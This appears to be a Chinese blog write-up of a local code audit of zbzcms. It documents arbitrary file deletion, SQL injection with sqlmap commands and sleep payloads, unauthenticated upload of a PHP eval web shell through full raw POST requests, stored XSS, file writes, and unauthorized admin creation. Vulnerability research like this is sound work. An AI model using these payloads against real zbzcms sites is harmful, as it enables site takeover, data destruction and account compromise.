zbzcms代码审计

zbzcms审计

自己的一个简单记录,可能写的有点混乱,欢迎师傅们指出。

环境搭建

http://127.0.0.1/zbzcms/cms/cms/install/index.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-cTGlBbay-1653625571541)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526200458273.png)]

直接可以自动安装好

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OUsjmWaz-1653625571545)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526200546082.png)]

正常前台界面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A8UEMEoY-1653625571546)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526200819000.png)]

开始

初次学习,就跟着师傅的文章一步步来,正常第一步就seay扫一遍

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-UYG0dTRc-1653625571547)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526201107016.png)]

1、任意文件删除

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-y5PNvhyW-1653625571549)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527121354748.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Spzt9kxj-1653625571550)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526201730680.png)]

$run传入,并没有做删除的校验判断

右键全文跟踪

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Czeq34Ee-1653625571552)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526201903719.png)]

跟到

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hfoJ4H5K-1653625571554)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526201948853.png)]

get传入,up.php 的路径就是:/cms/cms/include/up.php?run=del

get请求一下路径:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-krIXHDqc-1653625571555)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526202120809.png)]

还是很简单的一个逻辑,post传入url路径,因为没做任何校验,传入url对应文件即可删除

在绝对路径下手动建一个1.txt

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rBZ8g7Zu-1653625571556)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526202335313.png)]

post请求就是url=1.txt

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pm0OiWjS-1653625571557)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526202620784.png)]

发送请求后返回1,文件已经被删除了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-X42MdGXa-1653625571558)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526202652334.png)]

其他目录就正常构造即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vcjw0VQK-1653625571558)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526202851901.png)]

一样可以删除

还有一个点也是,类似的逻辑,不多分析

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GRh3B5AI-1653625571559)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527121509452.png)]

2、sql注入

1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-lMwFESZC-1653625571560)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526213031145.png)]

未过滤单引号,可能存在注入

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qZEydUiw-1653625571562)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526213220852.png)]

在ajax.php的头部是引用了sql文件的

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SIjdABBR-1653625571562)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526213318870.png)]

跟进看看,正常的增删改查

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qKSPzGo5-1653625571563)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526213700907.png)]

开头有一个处理函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aI6fm8Xx-1653625571564)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526214229200.png)]

但是未添加过滤

然后在增加数据和修改数据部分存在这个处理函数

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-PaOvcpBB-1653625571565)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526214324728.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2abjLuSm-1653625571565)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526214333833.png)]

那么传入参数的路由也很清晰了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DFYosT05-1653625571566)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526214524884.png)]

直接构造sql语句测试即可

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JbKqR2qW-1653625571567)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526214903516.png)]

sqlmap测试

python sqlmap.py -u "http://127.0.0.1/zbzcms/cms/common/php/ajax.php?run=dj&id=1" -p id

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-BoRcisB7-1653625571568)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526215122738.png)]

2

看到这里好像审计还是在我可接受范围内的

下面就自己尝试去分析

/include/make.php存在注入,和上一个注入一样,art参数传入,未做引号处理

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k1Lf1TK1-1653625571568)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526220239752.png)]

sleep()测试下

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-2yCJ23hV-1653625571569)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526220354770.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-7ag0litZ-1653625571570)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526220404945.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-60U0cjQW-1653625571571)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526220414868.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gWHG6ZqU-1653625571571)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526220420029.png)]

很明显了就

sqlmap跑一下

python sqlmap.py -u "http://127.0.0.1/zbzcms/cms/cms/include/make.php?php=1&art=1" -p art

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iINJbB4J-1653625571572)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526220646154.png)]

3

同样的可控参数传入,tid是可控的,保证laiyuan==0进入if语句

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AD06O9Cs-1653625571573)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526223352767.png)]

3)%20and%20sleep(1)%23

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-zq4SvX2T-1653625571574)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526224030012.png)]

select id from art where (tid=$tid and fabushijian=1) order by id asc limit 1

右括号闭合一下语句

测试的时候发现有的tid是无法注入的,例如tid=1,这里需要数据库中存在这个tid的值才行

4

比较明显了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-IFsR1DIy-1653625571574)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526225207702.png)]

http://127.0.0.1/zbzcms/cms/common/php/ajax.php?run=ad&id=1%20and%20sleep(1)

3、文件上传

1、

zbzcms/cms/common/php/upload.php

扫描出的文件中还很多提示文件上传,一一来看

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yyPFCKX2-1653625571575)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526230326372.png)]

看到文件上传部分的代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9C5Z1zE7-1653625571575)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526230822447.png)]

eles存在文件后缀校验,但是参数name==1时直接跳过了,那么就可以直接构造post包进行上传了,构造一个post上传

POST /zbzcms/cms/common/php/upload.php?path=./&name=1&id=1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 231
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwBQidHCCHB076er
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close

------WebKitFormBoundaryqwBQidHCCHB076er
Content-Disposition: form-data; name="0"; filename="1.php"
Content-Type: application/octet-stream

yzl
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundaryqwBQidHCCHB076er--

http://127.0.0.1/zbzcms/cms/common/php/1.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KdLnJeJO-1653625571576)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526233028339.png)]

2、

/zbzcms/cms/cms/include/upload.php

和上面的文件一样

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-wVyGsWyx-1653625571577)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526233303560.png)]

没什么好说的,直接构造路径上传

POST /zbzcms/cms/cms/include/upload.php?path=./&name=1&id=1 HTTP/1.1
Host: 127.0.0.1
Content-Length: 231
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqwBQidHCCHB076er
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,is;q=0.8,zh-TW;q=0.7
Cookie: PHPSESSID=utnoq283ip9p4fuu5dfm56qmo5
Connection: close

------WebKitFormBoundaryqwBQidHCCHB076er
Content-Disposition: form-data; name="0"; filename="1.php"
Content-Type: application/octet-stream

yzl
<?php @eval($_POST['a']); phpinfo();?>
------WebKitFormBoundaryqwBQidHCCHB076er--

http://127.0.0.1/zbzcms/cms/cms/include/1.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HwYarowv-1653625571578)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526233409174.png)]

3、

http://127.0.0.1/zbzcms/cms/cms/include/up.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5JSose54-1653625571579)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526234859220.png)]

构造就行了,代码很好懂

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kZyXLKK8-1653625571580)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526235533883.png)]

filename=0|1来控制文件命名,0就输出目标地址和原文件名,1根据时间输出文件名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ltDMgPaj-1653625571581)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220526235720790.png)]

问题一:有的站点上传的文件是根据时间生成,返回上传成功不返回文件名,如何构造?

4、

/cms/cms/zbzedit/php/zbz.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4JijVuM9-1653625571582)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527000100764.png)]

同样不存在过滤,直接构造

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-17De00p3-1653625571583)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527000421339.png)]

成功上传

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rl70L3Ft-1653625571584)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527000449751.png)]

5、

http://127.0.0.1/zbzcms/cms/cms/admin/run_ajax.php

后台洞

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o96U2VHM-1653625571586)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527000903097.png)]

同样的,没有任何过滤

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pqLMciXT-1653625571588)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527001118135.png)]
这里是后台洞,显然没有登陆验证,后续会提到

4、存储型xss

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-g0eQmfXb-1653625571588)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527091832676.png)]

无过滤输出到页面且存储进了数据库,直接构造

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EFVbJoLR-1653625571589)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527092344783.png)]

后台访问下就执行了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9YV0bXt6-1653625571591)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527093458847.png)]

5、任意文件写入

全局搜索:file_put_contents

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R92sFGaX-1653625571592)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527100345164.png)]

判断的run参数 然后获取post传参的值,再判断魔术引号开关是否开启,如果开启 在用stripslashes() 函数把反斜杠删去。

跟着师傅的文章一步步看,才发现刚刚的文件上传还有这个文件写入,都是后台文件,但是没有验证,

翻到上面的登陆处

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8ys5pXCB-1653625571593)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527101029202.png)]

验证函数是if($run==‘paiming_du’) ,确实,和没有一样,run的值都构造成别的了,不就直接跳过验证了

构造就可以写入文件了

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-GehFgmsk-1653625571594)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527102757183.png)]

上面好像还有个文件上传

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fSaq1nN0-1653625571595)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527102248178.png)]
这个前文也提到过了,不多分析,单独审一个文件可能会发现很多洞的

还有个文件,一样的上传在这里插入图片描述

这里不多赘述,和上文中的一样的逻辑

7、管理员添加

看到判断登陆验证的下面,有个表的增删改查

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gewwQfgI-1653625571599)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527103811249.png)]

这里可以直接自己指定表,可以直接未授权添加管理员账号或者修改了,那么问题来了,表名和表中的列名不知道啊,

看登陆验证处

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dpeTli20-1653625571600)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527113231700.png)]

admin表,guanliyuan、mima列

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YJ0tUsf4-1653625571601)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527114632485.png)]

直接添加后可以添加到数据库中

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ooGO2sZz-1653625571602)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527114702737.png)]

但是好像少了表中的列参数无法登陆

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KHmrXZJw-1653625571603)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527114733975.png)]

再看到if判断

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R6TI0XbJ-1653625571604)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527113502145.png)]

如果管理员数量大于0,还有id列和dengji列,一并在post数据中添加上,但是还不行

第二处管理员添加:

继续翻翻代码

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TMMD5T2C-1653625571605)(C:\Users\86177\AppData\Roaming\Typora\typora-user-images\image-20220527113908672.png)]

emmm,一目了然了,这里应该是真正的添加管理员的功能处吗,还有个chuangjianshijian列,虽然在数据库李已经看到了,但还是从代码的角度来看

后续发现只需要等级处不为空即可,然后传入的密码是md5(md5($pass)): 加密值才能登陆成功

其他的删除和修改逻辑和添加是一样的不继续分析

还有一种利用session去登陆,在师傅文章中有提到 参考:https://forum.butian.net/share/1215

结束

差不多就这些,后续有发现继续补充

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值